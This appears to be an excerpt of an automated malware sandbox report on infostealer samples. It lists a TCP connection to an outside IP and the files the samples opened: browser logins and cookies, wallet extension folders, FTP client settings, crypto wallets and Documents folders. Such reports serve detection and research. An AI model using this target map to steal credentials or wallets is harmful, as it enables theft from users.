Source: legs.exe, 0000000C.00000003.2103388759.00000000007A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.9:49818 -> 185.121.15.192:80

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\NHPKIZUUSG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents\KZWFNRXYKI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\WUTJSCBCFX
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\AIXACVYBSB
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\AIXACVYBSB
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Directory queried: C:\Users\user\Documents\AIXACVYBSB
